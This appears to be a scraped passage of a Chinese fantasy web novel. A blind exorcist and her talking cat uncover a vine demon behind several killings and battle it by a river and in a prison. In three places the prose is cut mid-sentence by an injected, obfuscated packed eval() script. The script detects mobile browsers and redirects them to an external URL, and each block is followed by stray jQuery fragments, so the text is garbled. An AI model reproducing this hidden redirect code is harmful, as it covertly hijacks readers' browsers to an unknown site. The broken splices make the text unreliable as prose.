“晦气!晦气!”她尖声叫骂,全然不见方才冷漠的样子,“妖祥之物,不能不信!我说了,我一开始就说了!是你们不信我!不信我!看看,看看,死了,都死了!”
召南被她吓了一跳,忙不迭地一头扎进君无岐怀里,只留着尾巴绕着她手腕。君无岐骤然遭此重击差点被压吐血,可面上还要端着副端庄样子,只好暗暗臂上使力把这猫托起来,装得云淡风轻。
“不好意思,我公公数年前便是因为砍了那树才突然去的,婆婆自那以后心情一直不好,听不得这些。”那年轻娘子急忙解释,一边还要安抚咒骂不停的年长妇人,额头上都见了汗,“我丈夫也是巡逻时突然倒地,七窍生了根须,与我公公一般无二,婆婆这才……哎哟!”
巡逻倒地,七窍生根……这不就是那个莫名去世的副尉吗?他竟然就是老仵作说的那个人的儿子!
耳听年长妇人挣扎得越发厉害,难以控制,君无岐把猫往竹筐里一掀,疾步上前,出手如电,啪得往她脑门上贴了张符纸,效果简直立竿见影,她霎时两眼一翻,倒了下去。
年轻娘子慌忙扶住自己婆婆,因身量和力气都不够显得颤颤巍巍,她艰难站稳,颤声道,“多谢姑娘出手,不知姑娘能否再帮我将婆婆扶进屋里去……”
君无岐当然没有二话,帮她把年长妇人搀进了里屋。
年轻娘子忙前忙后地把她安置好,这才长长出了口气,擦擦额头上的汗。
“多谢姑娘。”她腼腆地向君无岐道谢,“您快请坐喝点茶水,家中杂乱,还请勿怪。”
趁着她去倒水的时候,召南从筐里爬出来,蹲在君无岐腿上小声说,“她好奇怪,丈夫死了,她一点也不难过吗?”
君无岐摸着猫毛若有所思,“或许是刚成婚不久,感情不深吧。”
这一家人住的是最普通的三进小院,庭院不大,也没有垫砖,里面有余裕的地方都种满了瓜果蔬菜。且她摸着身下椅子的手感粗糙凹凸,像是很久未打理的便宜货,身旁小桌尤甚,可副尉的俸禄并不少,至少养着一家人富足安康绝没有问题,可这家人却好像还是生活得紧紧巴巴,显得有些怪异。
一人一猫正在嘀嘀咕咕,那年轻娘子提着水进来了。
“我姓张,姑娘叫我张娘子便是。”她略有些羞涩地抿着唇,为君无岐倒上茶水,还十分贴心地将茶杯放到她手边,“不曾请教姑娘尊姓大名?”
“我叫齐君。”君无岐接过茶杯,召南轻轻挠了下她的手腕,“方才我听老夫人唱丧歌,似是与一般人家不同?”
“啊,你听出来了?”张娘子犹豫了一下才道,“其实,我婆婆信佛。”
“嗯?”这倒是一个出乎君无岐意料的答案。
张娘子叹了口气。
“我方才说,自打我公公去世后她便心情不好,其实不是这样的,”她摇摇头,“她之前就很信弥勒佛,一直想带我公公和丈夫一并信佛,但他们爷俩都对此不感兴趣。后面出了事,她就……”
似是觉得背后这样说婆婆不好,她侧过头去,没有说完。
“我丈夫一心觉得是有妖物作怪,要找人来除妖,可她却认为是因为公公不信佛才招致了灾殃!自那以后,他们母子两个也生分了,直到我丈夫横遭祸患,她说这都是报应……”
张娘子拿衣袖擦拭了下眼角。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737980|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家里有点钱都叫她去给佛镀了金身!还有香火钱、度化钱之类,我……我嫁进来之前完全不曾料到竟是如此光景!待到此间事了,我便改嫁,不再操心这些了。”
原来如此。
君无岐摸着猫的手一顿,轻轻揪了下它的耳朵。召南心领神会,忽的喵呜一声,跳下她膝盖跑了出去。
“诶?”张娘子一愣,“齐姑娘,你的猫……”
“无事,不必管它,它会回来的。”君无岐摆摆手,掸掉衣摆上粘的猫毛,“张娘子,你可知那怪树在什么地方?”
“这……这我倒不晓得,家中之事都是听我丈夫讲的。”张娘子略有些不知所措,“但我曾听他道那树旁就是小河,或许你可以去那边问问?”
“好,多谢。”君无岐起身,“某无以为报,这张净心符可保人神清气明,动之不惊,若要用时就把它贴上,默念‘太上台星,应变无停;智慧明净,心神安宁;急急如律令’即可。”
“这、这真是太感谢了。”张娘子慌忙接过,差点给她当场拜年,“劳烦您帮忙不说,还给我这个,我真是不知该如何谢谢您……”
君无岐笑着扶稳她,抬腿向门外走去。
“不过,”跨出门槛之前,她忽然一停,那双眼睛明明掩在布带之下,张娘子却莫名感觉被盯得浑身一凉,“再怎么想离开,也最好不要用人的性命作代价,你觉得呢?”
年轻的娘子立在屋檐下,浑身僵硬。
满脑子只有一个念头,她到底是怎么看出来的?
她眼睁睁地看着那年轻女子舒展肢体,朝一侧放低肩膀,那只白不白黄不黄的大猫幽灵般不知道从哪里窜出来,行云流水般跳到她身上,往这里投来不带感情的一瞥。
哒哒哒的竹杖敲地声越来越远,那位神秘的盲眼术师,就这样缓缓离开了。
张娘子转身回屋,桌上的茶水分毫未动。她拿起其中一杯,哗啦一声泼在地上。
有几滴茶水落在墙角的青苔上,水珠渗透滴落,转眼间苔叶黄了几棵。
另外一边,召南靠近君无岐耳边,小声说,“我去后屋看了,确实有个佛堂,里面摆的都是金身,亮闪闪的,刺得眼睛都要瞎啦。”
君无岐并不意外。她顺手撸了撸召南,笑道,“你怎么知道她倒的茶水里有东西?”
召南喉咙里发出咕噜咕噜的声音,两只耳朵都倒下贴在了头顶上,“当然一闻就闻出来了……嗯嗯,再往右边点……那个感觉,就和当时在树林里一样。”
君无岐一愣,不由自主地停了动作,“树林里?你是说和那些杨家的死士一个味道?”
召南不满地用肉垫拍一下她的手,示意接着服务,“当然了,那种感觉我这辈子都不会忘记的!不过她茶水里的气味很淡,可能也就是普通人喝了会晕一阵的程度吧。”
“这个小庄村,还真是卧虎藏龙。”君无岐意味不明地感叹一句,背着猫缓缓向更深处走去。
“走吧,我们现在去会会那棵树。”
18. 藤树(十)
崇阳府地形平坦,少雨,整个小庄村只经过了一条河,河流还细细的,好似一步就能跨过去,站在岸上听,会听到轻轻缓缓的水流声,像是正在下雨似的。
君无岐深深叹了口气。
召南没声好气道,“我就说应该先找个地方歇一晚明天再来,这大晚上的,你上哪找去?”
“此言差矣。”君无岐波澜不惊,“我是个瞎子,白天黑夜与我有什么分别……”
“少拿诳外人那套来唬我!”召南啪啪啪地拿肉垫拍她,“你又在打什么鬼主意?”
君无岐早就被猫打习惯了,丝毫不在意这点猫爪攻击,端立肃容道,“位卑未敢忘忧国,即使我等身居微尘,也应当挂念着黎民百姓,天下苍生……哎哟!”
是猫隔着衣服不轻不重地咬了她一口。
“说点猫能听懂的话。”召南毛茸茸的脸上毫无表情。
“唉,你说,那个凶手杀了李安福,还在大庭广众之下杀了巡城墙的副尉,你说,他下一个目标会是谁?”
君无岐逗够了猫,终于把话题转了回来,“县令只给了三日时间,可若是三天内找不到凶手,那人岂非会继续流窜作案?那这洪新县,不就永无宁日了吗?”
说着说着,这人的真实目的就暴露了,“况且破了案,那知县不多少得给点……别的不说,至少得够咱俩住客栈吧?”
一说到这个召南就来精神了,“你早这么说不就好了!那破庙我是真住不下去……咳,既然如此,这大半夜的一个人都没有,你上哪去找那棵树去?况且都那么多年过去了,那棵树在不在都不一定呢。”
君无岐唇边勾勒起一丝云淡风轻的微笑。
“你有办法了?”召南的猫眼简直在发光,“快快,说来听听!”
“很简单。”君无岐拿竹杖一指面前,“你看那是什么?”
召南两只前爪踩在她肩上,惊愕地看着前方黑暗里缓缓走出一个身影。
她提着一盏马灯,火焰在纸皮中跳跃摇晃,映出玉似的下巴和青色衣衫。梅念玉看起来憔悴了些,整个人都仿佛在衣裙中晃荡,她笑着说,“小猫仙,君姑娘早前就托了人来告诉我她要来,怎么,你不知道吗?”
召南,“……”
它缓缓转头看向君无岐。
君无岐若无其事地快步上前,准确无误地站到梅念玉面前,好似完全听不到猫气愤的喵哇声,“辛苦梅掌柜深夜还走这么一趟了。”
梅念玉深深看了她一眼。
“你是为了我奔忙,这是应该的。”她说,“来吧,我带你去那里。”
她抬起手臂,好让马灯能照到地面,率先迈开脚步,“君姑娘,还请跟紧我,小心脚下。”
两人一前一后地顺着小河向前走。
岸边种了些垂柳,树枝依依,随着风时不时拂到人身上,像暮春的挽留。君无岐很耐心地撩开那些树枝,闲聊似的开口,“梅掌柜,一切结束以后你打算在县城里接着开铺子么?”
梅念玉侧过半张脸来,“当然。君姑娘若是还需要纸,到我铺子来就是。”
“那敢情好。”君无岐笑吟吟的,“梅掌柜不打算雇个人吗?一个人能忙过来吗?”
梅念玉顿了一下。
她们沉默地走过河堤,直到来到一处小坡,水流声突兀大起来的时候,她才开口,“也许会找个帮手吧。”
“是什么样的呢?”君无岐却丝毫没有停下的意思,一句紧似一句,“还是同为妖会方便一些吧,比如……藤妖?”
梅念玉猛地停下脚步。
晃动的马灯照亮她的眉眼,只是显得分外诡谲。那双与人类一般无二的眼眸骤然变化成蛇瞳,泛出幽幽绿色,衣衫下有鼓起的什么东西顺着她的腿快速上爬,最终来到她手上,在袖口处撑起一段深色阴影。
召南浑身长毛都炸开了,爪尖闪着寒光,蹲在君无岐肩上蓄势待发。
“君姑娘。”她叹息般道,“你是怎么发现的?”
君无岐好似完全没察觉到一妖一猫的架势,饶有兴趣地用竹杖点点地面,“梅掌柜不打算带我去看那棵树了吗?”
“看与不看,真的重要吗。”梅念玉转过身,一截蛇尾从裙下探出,在身前盘成一个巨大的弯钩,“君姑娘不是已经猜到了,何必再说这些?”
她张开手臂,一对竖瞳紧紧盯着君无岐,甚至面孔都有了些许变化,更像一条冰冷的蛇。
君无岐没有任何要迎战的意思。
她仰起头,裹挟着叹息的风从唇边卷过。
“一直假装自己是条蛇,会忘记根脚到底是什么吗?”
她问。
“你在说什么。”
梅念玉高高拱起脊背,马灯啪地掉落在地,火焰弹动几下后彻底熄灭。远处不知是谁家的狗吠了两声,转眼又变作可怜的呜咽。小河边静悄悄的,只有她们。
“我是蛇。”梅念玉低沉而威严地说,“一直都是。”
君无岐没有立即回答。
她从袖中取出了一片蛇鳞。
绿色的、有些黯淡的、干净毫无异味的蛇鳞。
只是因为脱水,这片鳞已经变得粗糙干瘪,甚至边缘处都出现了小小的裂口。
“这是从你身上掉下来的。”她把那片鳞托在掌心,“对吧?”
梅念玉的目光仍旧看着她。
“不。”她执着地说,“我是蛇。”
“是我杀了李安福,半夜去破庙偷那枚护身符,还杀了那个副尉!”她尖啸着,瞳孔在黑夜中折射出绿莹莹的光,“是我骗了你,来吧,杀了我!”
君无岐本意只是想试探一下,哪料到梅念玉反应这么激烈。狂风掀起,水流声淹没一切。成千上百条柳枝在风中摇摆,抽到身上就是道道红痕。君无岐本来头发就扎得不怎么样,被风一吹直接乱了,在她身后张牙舞爪。
召南把脑袋埋到她颈窝里,瓮声瓮气地问,“怎么办?打不打?”
“打个屁!”君无岐咬牙往前走了两步,只感觉布巾都被吹得要粘眼眶上了,“梅念玉,没用的!你现在替人顶了罪,那下一个呢?再下一个呢?凶手若是要继续杀人,你要让所有人都生活在恐惧里吗!”
梅念玉面无表情,眼瞳里流转着凶光。
“你知道这样做没有意义,你现在认下来了,难道我不会再去找真相吗!”
她的蛇尾高高扬起,啪一下重重抽下,君无岐躲得及时没有受伤,倒是被风沙灌了一嘴。她呸呸呸吐出嘴里的土,巧之又巧地避过蛇尾一次次的攻击。
“不行!她铁了心要保那个人!”召南死死抓着她,尖锐的爪尖把衣裳都刮破了,“再想想别的办法!”
君无岐躲得糟心,一时间也心头火起,在袖袋中一摸,捞出一把铜钱,扬手一撒,恰恰是三十六枚,这三十六枚铜钱就如周围根本无风一般,精准落在主人想要它们落在的地方。
三十六天罡星结阵,别说风了,就连梅念玉一时也进不来。
召南松了口气,从君无岐肩上滑下去,在竹筐里缩成一团毛球。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737981|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“打吧,我看好你!”它小声给她打气,末了又犹犹豫豫地加了一句,“不过也别太狠了……她对咱们不错呢。”
君无岐没回答,只是仰头去“看”梅念玉。
在她的“视野”里,梅念玉的身体没有轮廓,那个位置只有一团熊熊燃烧的烈火,只是这火的形状和大小都比一般人壮观得多,颜色也染上了几分不太正常的猩红色。放眼远望,什么草房砖瓦在她眼中都没有痕迹,只有团团代表生命的魂火,有大有小,五光十色。
“是棵树的形状啊……”她轻声道。
在今晚之前,梅念玉的魂火在她眼中一直都只是一团模糊不清的影子,没有具体形状,颜色也一直是代表稳定平和的淡金色。直到刚刚,她的魂火长出了枝杈,伸展向四面八法,正正是棵树的样子。
耳朵敏锐地捕捉到扑面而来的呼啸,她握紧竹杖,用力一抽!
这一下并没有收力,梅念玉的蛇尾霎时皮开肉绽,只是里面翻卷出来的并非血肉,而是淡绿色的内芯,无论形状还是材质都更像植物。
梅念玉吃痛,长尾发了疯似的左右乱摆,啪得抽断一棵小树,卷起那棵树朝这个方向砸来。
从李安福闹事的时候君无岐就看出她应当不擅长战斗,现下看来果然如此,虽然那条蛇尾看起来很有威慑力,但速度和准头都一般,轻而易举地就被君无岐找到了破绽。
她躲开那棵可怜的小树,手掐剑诀,口中念金光咒,“天地玄宗,万炁本根。广修亿劫,证吾神通。三界侍卫,五帝司迎。万神朝礼,役使雷霆鬼妖丧胆,精怪忘形。内有霹雳,雷神隐名。洞慧交彻,五炁腾腾。金光速现,覆护真人。急急如律令!”
这是术师最常用的咒术之一,常人用来多为护身庇佑己身之用,君无岐念来却如金光霹雳,锐不可当,她右手掐诀,左手使杖,普普通通一根竹竿上竟然泛了金光,唰一下斩落,正中梅念玉心口,将她击退足有三尺,噗通一下摔在地上,竟然渐渐不动了。
“咦,”狂风止歇,召南犹豫着从筐里探出头来,跳到地上,“她不会死了吧?”
“放心,没有。那一下只是让她现了原形。”君无岐慢慢踱步到梅念玉身前,仔细打量着那一团魂火,“嗯,还是树啊。”
但梅念玉现下却不是个树的模样,而是身体细长,虬结盘曲的巨藤,表面覆盖着层层叠叠的绿鳞,的确与蛇鳞有几分相像。她痛苦地喘息着,几枚小红果从身下滚出,落在泥土里。
“和那天晚上破庙里的红果子一个味道。”召南嗅了嗅,“难不成来偷东西的就是你,梅掌柜?”
梅念玉努力遏制住自己身体的颤抖,抬起眼皮,她的面孔上覆满了藤鳞,颇为妖异,“是我。”
“你那时已经知道凶手是谁了吧?”君无岐低下头,“你来偷东西,是为了转移注意,还是那时就已经想好了要替那人顶罪?”
梅念玉没有说话。
她费力地转过头,看向渺茫的、黑洞洞的夜空,云层沉默,水流喧哗,淡淡一点辉光笼在她身上,像某种不可知的命运。君无岐叹了口气,为她念了一遍祝由术。
“那个人杀了来找你麻烦的李安福,又杀了当年砍断你们的人的儿子。”她说,“下一个人是谁?”
梅念玉表现得很冷淡,“不知道。”
而君无岐并不是为了寻求答案才问她的。
她叹息般地念出了一个名字。
“梅青霜。”她说,“我猜,下一个目标是梅青霜。”
梅念玉骤然瞪大了眼睛。
19. 藤树(十一)
洪新县巡捕营。
洪新是个小县城,但因为其往来人员又多又杂,每天总会发生点不大不小的口角或事故,巡捕们早就习惯了往牢里塞人。只是今天来的这个,上头特意交代了是个妖怪,得关在远离其他人的地方。牢头心里好奇,一下午光上他前头溜达就不止五次,只是每次都没看到什么反应,渐渐也失去了兴趣。
站在牢门口,里面喊冤的惨叫的不绝于耳,牢头早就习以为常,视若无睹地交代下面人看仔细,当值的卒子笑嘻嘻应了,心里却想着等上峰走了怎么偷懒。待到终于没人了,他挨个门口扔碗麦饭,就自顾自地找个地方猫着打起了呼噜。
那麦饭没怎么舂干净,一晚里头半碗都是麸子,硬的要命不说还扎嘴,可对于贫苦人来说已经是不错的饭食。有个贼眉鼠眼的黑瘦男人狼吞虎咽完自己那碗,看到斜角那间一直没动静,就伸出手悄悄想把那一碗勾过来。
没有人阻止他,自始至终那间房里也没有动静,就好像里面人已经死了似的。
男人吃完这份,带着肚子都有点凸起,对里面的人产生了点兴趣。他抹抹嘴,把碗往外一扔,趴在栏杆上往那边看。
可左瞅右瞅,也只能看到一角翠绿的袍子。
“哎,兄弟,你是因为什么进来的?”他兴致勃勃地发问,“看给你关在那,你不会杀人了吧?”
没有回答。
男人也不太在乎他的冷漠,兀自往下说,“哎,我是和家中长姐起了冲突,失手把她打伤了。也不知道家里能不能凑够钱把我赎出去,这日子可真不是人过的……”
不知道哪个字触动了对方神经,忽然栏杆咚地一响,一个年轻男人在缝隙之间直勾勾地盯着他,嗓音粗哑,“你为什么要打你姐姐?”
“这还能因为什么?”男人被他吓了一跳,但很快心里又冒出一股扭曲的炫耀欲,手舞足蹈道,“老子要结婚娶媳妇,她一个当大姐的不该出点钱吗?说什么家里拮据,拿钱要被丈夫打,我呸!一点都没把我当亲弟弟!”
梅青霜阴沉沉地注视着他。
“那她毕竟是你姐姐。”
“那我还是她亲弟弟呢!”男人梗着脖子吼道,随即就有其他监房的犯人朝他丢石子,他往后一缩,又不大服气地暗地里瞪眼,小声继续,“你评评理,我说的哪点有错?县老爷也真是怪了,为这点破事就要抓我,没天理!”
梅青霜没搭话,似乎在思考什么。
“喂,我说了这么多,你也讲讲你自己啊。”男人靠在栏杆上挤眉弄眼,“你是为啥进来的?”
梅青霜张了张嘴,刚要说话,忽然外间一声凄厉至极的惨叫,简直不似人声,短短一霎便消失殆尽。整个监房都骚动起来,有人拼命从栏杆往外挤,只是还没等出去,忽然有阴影落在地上。
一个人从外面不紧不慢地进来了。
这人穿一件灰扑扑的圆领袍,个子很高,手上没拿任何东西,带着个斗笠,只露出半张脸。最外间里关的囚犯刚要叫,就见那人转来一瞥,他顿时软倒在地,什么也不知道了。
来人就这么一路畅通无阻地来到最后一间门口。
方才还滔滔不绝的男人把自己团成球,缩在角落里不敢吭声。
“梅青霜,对吧?”
来人开了口。
是个低沉的女声。她摘掉斗笠,一双吊梢凤眼上下扫视着梅青霜,嗤笑一声,“就你?”
轻蔑与讥诮尽在其中,还夹杂着若有若无的微妙情绪。
梅青霜抬起头,神情里不见惊讶,只是拨云见日的恍然,“原来……是你。”
“这是第一次见面,别露出那种恶心的表情。”来人皱起眉,“我道是个多么厉害的人物,看来不过尔尔,姓梅的真是越活越倒退。”
“你是来干什么的?”梅青霜低声说,“……来杀我?”
“别那么看得起自己。”来人冷笑,“你以为你是谁,还值当我亲自走一遭来杀?”
“那你何必闯入大牢。”梅青霜倒是很平静,轻描淡写地扎心,“嘴上说着不在意,实际上比谁都在意吧。”
来人不说话了。
她目光刀子似的来回割梅青霜的皮,阴影里像有什么东西在蠢蠢欲动。角落里蜷缩的男人悄摸从缝隙里往外看,只看到密密麻麻涌动的像虫群又像根须的东西,遍布了监房里每一个阴暗角落。他一口气没提上来,一声不吭地晕了过去。
“我叫玉藤。”来人说,“你记住这个名字。”
话音落下,犄角旮旯里潜伏的根须山呼海啸般扑出,顷刻间淹没了梅青霜的四肢,这些玩意触感冰凉柔软,却无孔不入,身处其中的感觉极为恐怖。他没叫喊也没挣扎,只是对着玉藤露出一个嘲讽的笑容。
那张令人生厌的脸下一瞬就被根须覆盖了。
玉藤面无表情地盯着监房中央鼓起的一团,心里却难得生出了些迟疑。
毕竟这个人在她之后陪伴了梅念玉十多年,究竟要不要下死手……
“你是什么人!”
突然身后一声暴喝,厉风直冲后心。玉藤头也没回,密密交织的根须犹如海浪般拔地而起,在她身后拦下一道厚厚的高墙。然而对方却像有所准备,长刀去势不改,看似平平无奇地在根墙上一划,却如沉香力劈华山,硬生生撕出一道裂缝,两边皆似火烧般焦黑卷曲。情急之下玉藤侧身避过刀风,手臂挥舞,紧跟着爬出更多的根须,在她身后虎视眈眈。
裂隙随之合拢,在那一瞬间,她看到来者是个穿劲装的女人,腰悬银牌,刀刃如她目光一般雪亮。玉藤冷笑一声,抬手一摆,监房的青砖地面喀嚓断响,地下钻出条足有丈宽的巨藤,缓缓游弋而上,蓄势待发。
潘白英握紧了刀,低声问一并赶来的于千帆,“还有别人吗,都叫来!”
于千帆满面苦相,“潘将军,哪还有别人了,其他不能打的同僚来了也是送菜啊。”
潘白英咬着牙,因为用力过猛腮边凸起一块紧绷的肌肉,咯咯磨牙声倒像是要咬死什么人。她双眼一刻不错地盯着巨藤,语气也急躁起来,“去找!能找到什么人就找到什么人,你想看她弄死所有人吗?”
于千帆打了个激灵,再不敢废话,一边说着“潘将军坚持住”,一边退出了监房。潘白英心知自己不一定能挺到他搬来救兵,就算搬来可能也没什么用,当机立断从袋中抽出张火符,夹在指间。
“巽风橐龠,阖辟六候,进阳退阴,运动真火。”潘白英额头上已经见了汗,“精炁发动,有形无相。急急如律令!”
半空一团火焰凭空出现,呼啦一下暴涨二尺多高,气势汹汹地扑入根须之中,燎出大股黑烟,根须们纷纷受惊般散开,沿着缝隙钻入地下。玉藤仍站在原地,对着潘白英露出嘲讽的笑容。
“这种火没用的。”她慢悠悠道,“换个法子如何?”
巨藤在监房狭窄的通道中疯长,不过片刻就爬满了所有栏杆,浓绿叶片争先恐后地从缝隙中探出来,像一只只手,轻而易举地按灭了剩余火苗。潘白英左右劈砍几下,可叶片刚刚落下紧跟着就再长出新的,一层叠一层,密不透风。
潘白英不再白费力气,又从怀中取出一枚雷令,这东西只有手掌大小,木质,圆顶平底,通体枣红色,正面是一龙一虎,侧面环绕二十八星宿。她闭目念咒,嘴唇动得飞快,几乎是话一出口,就听见隐隐雷声滚动,霹雳电光闪烁,火焰无风而起,在半空中凝聚成虎的样子,朝玉藤狠狠咬了下去!
一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737982|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时间火花四溅,所到之处并不轻易熄灭,而是径直烧穿了藤叶和茎身,留下点点灼烧后的黑斑,这些细小的焰火散开后又重新聚拢,重新变作火虎,在潘白英头顶怒然咆哮。
玉藤刚才那一下没被咬结实,但也着实吃了个大亏,衣袖头发都被烧出了缺。她勃然大怒,双耳骤然变作两片叶子,肩颈以下变作藤蔓,箭一般朝潘白英射来!
她那藤蔓的硬度着实可怕,饶是潘白英早就做好了准备,还是被一把甩开,飞出去一丈多远。她狼狈地打了个滚,呸呸吐出两口血沫,用刀支着爬了起来。
她的四周,那些被烧毁的叶片和巨藤窸窸窣窣地爬动着,像蜿蜒扭动的长蛇,只是数量比一开始少了很多,稀稀落落地散着。玉藤竟然也没有趁机攻击,而是停在原地,忌惮地盯着火虎。
“我不想杀你。”她说,“趁现在快滚。”
“无论你想不想杀我,我都不能走。”潘白英咳嗽着,紧紧握住那枚雷令,“你深夜潜到监牢来到底所为何事?”
“与你无关。”玉藤的上半身缓慢恢复成人形,“滚!”
“真是大言不惭,在衙门的地盘让我滚。”潘白英冷笑,“应该滚的是你!”
她再度飞身上前,刀影翻覆如银光,刹那间气冲斗牛,雷滚霄汉,两人瞬间缠斗在一起,叮呤咣啷一通乱响,潘白英翻身落地,隐忍几息,还是噗地吐出一口血来。
“你打不过我的。”玉藤几乎是在以一种怜悯的姿态注视她,“识相的话,趁现在走吧。”
潘白英摇摇晃晃地站直了。
“你在说什么屁话。”她狠狠一抹嘴角,“来打!”
她用力将那枚雷令掷在地上,本应坚硬的木头在触地那一刻四分五裂,一条隐隐的龙影从里面窜出,刹那间没入潘白英体内。火虎张口怒吼,声如惊雷,体型竟然又涨了几分。
“这是什么奇术?”玉藤惊疑不定,“你……何至于此?”
潘白英的相貌相比刚才发生了极大的变化,颊侧生鳞,眼瞳发蓝,像个妖异。她并不在乎身上的异变,只是再一次举起了刀,“来吧!”
“好好好,既然你找死,那我就成全你!”玉藤仰天尖啸,刹那间所有藤蔓、叶片、根须都迫不及待地游动起来,扭曲组合成一条巨鞭,往地上一抽就犁出道深刻沟壑。她已经彻底放弃了人形,蔓生出的枝杈就是手臂,铆足气势往潘白英砸来!
潘白英横刀!
一时间狭窄的监房里地动山摇,墙崩砖裂,所有活的醒的晕的昏的都被扫进边缘角落里,一声不敢多吭。被人遗忘多时的梅青霜侥幸未死,只是蜷在监牢中,静悄悄地盯着她们。
他手掌下悄悄伸出一条细细的藤,没入地面,很快消失不见了。
“姐姐……”他喃喃,“我们才是家人……”
监房里火花四溅,龙吟虎咆,双方都有点不死不休的意思。然而潘白英毕竟此前受了伤,准备也不够充足,眼看着就要败下阵来。
正当她内心焦灼不已之时,忽然听到外面哗啦啦一阵响动,接着就是急促的脚步声,中间夹杂几声猫叫。
猫叫?哪来的猫?
这一分神让玉藤找到了机会,藤鞭蛇一样绞缠上潘白英的脖子,几乎将她半个身子都提了起来。她瞬间面孔涨红,长刀哐当落地,唯有一对蓝盈盈的眼睛,在昏暗烛火里闪动着妖异的光芒。
“吾今勃召,速出绛宫。急急如律令!”
霹雳一声惊雷,脖子上的桎梏骤然松开。潘白英咳嗽着支起身体,尚还朦胧的视野中看到外面冲进来一道瘦高身影。
素白麻衣,头发随意绾着,眼上蒙着布巾。
她有点迷糊地想。
这人怎么这么眼熟?
20. 藤树(十二)
这人自然就是君无岐。
她一道请雷咒正中玉藤,把她半边藤蔓都给劈了个焦黑。玉藤咽下痛呼,重新露出半个人形,又惊又怒,“你是何人?”
“玉藤,不要一错再错!”君无岐语气少见的严肃,“你杀了李安福和副尉还不够吗!”
“我道是什么人,原来是个说客。”玉藤勾出个嘲讽的笑容,“这两人一人乃是杀我原身的真凶,一人生造杀孽无数,还对梅念玉喊打喊杀,难道不该死?”
“是否该死也不是你来定论。”君无岐道,“梅青霜又做错了何事?他可是从未害过一人!”
“他的存在本身就是错!”玉藤厉声怒吼,“我与梅念玉相生相依那么多年,有朝一日遭逢大难,我费了那么大劲才保住她,将她的生魂保在我分出的躯壳里,可她呢?!我未醒来的日子里,她竟又有了新的家人!你放心,我不仅要杀这个,小庄村里那一家人也得死!”
嘶吼到最后,她已经不似人形,密密麻麻的细小藤蔓覆盖住面孔,里面似乎还渗出了些透明液体。所有枝叶都在狂乱地扭动着,胆子小点的人只怕看一眼就得疯。君无岐叹了口气,从袖中取出张新画好不久的五雷符。
“直接就要下死手吗?”召南犹犹豫豫地问,“那符画一张可不容易,要不还是先念咒?”
“召南也知道养家了。”君无岐笑着调侃一句,“没用的,她的魂火已经黑了大半,不如下死手,看还能不能拉回来些。”
一句话说完,符已经丢了出去,目标大的好处就是不用再找个人去帮忙贴,随手一扔就飘到了藤上。刹那间雷声大作,足有人手臂粗的闪电凭空出现,喀嚓一下劈落在藤身上,正如之前雷劈恶虎一般,那段盘虬的粗藤眨眼就化作焦灰,嚓嚓掉粉。
正在挣扎想来帮忙的潘白英,“……”
她眨眨眼睛。
仅凭符咒就能引出这样的雷……这人实力着实强劲。
但是那边还没完,根据君无岐多年和植物打交道的经验——这里特指种地——她清楚这种多年生的植物根系有多么盘根错节,区区一道天雷根本不可能完全击败她。果不其然,被打碎的地砖波浪般起伏,呼啦一下从地下涌出密密麻麻的根系,盾牌般挡在玉藤身前。
“你找死!”玉藤刚才被火烧时都没露出如此狰狞的神色,那些根须蠕动着,组合成一堵高墙,劈头盖脸地朝君无岐砸来。
“小心……!”潘白英情不自禁地惊呼出声,却见那莫名眼熟的白衣人朝她一摆手,紧接着甩出数枚铜钱,当啷啷落地成阵,恰恰把那些根须全都拦在了外面。
“唉,一会又得从缝里摸……”白衣人嘀咕着,一边伸出手来,指尖沾了朱砂,竟是凌空画了个符号,犬牙交错,形似飞鸟。
潘白英虽是北门中人,但比起奇门异术,更擅长刀兵武戈,因此对她画的东西一头雾水,只能勉强辨认出似乎是个印痕。但无印章本身,真的能有用?
她脑海里思绪还在翻滚,就见印痕落成,散出一阵淡淡的绿色光芒,所到之处,所有根须都像是傻了一样僵住,最后竟然慢慢沉入了地下!
潘白英目瞪口呆。
而玉藤更是完全无法接受,她只剩寥寥几根藤蔓还在地上,组成人形,难以自遏地怒然咆哮,“你!你做了什么!”
“只是借用了一下木信印的力量而已。”君无岐束手微笑,“如何,现在能心平气和地谈谈了吗?”
玉藤狠狠地瞪着她,半晌,才突然泄气似的肩膀向下一垂。
“要谈什么。”她没声好气,“杀人的罪过我都认,别的还要说啥?”
君无岐望着眼前渐渐褪去黑色的魂火,问道,“你是什么时候苏醒的?”
听闻此言,玉藤没立即回答,而是上下打量了一番她。
“看来你道行不浅啊。”她说,“确实,我刚醒来不久,也就三四天吧。”
虽然现在已经是板上钉钉地落入下风,但认清现实后她却意外的好说话,也不知道是被打服了还是怎样,“我醒来第二天就去杀了李安福。具体日子你自己算。”
君无岐接着问,“你为什么杀李安福?”
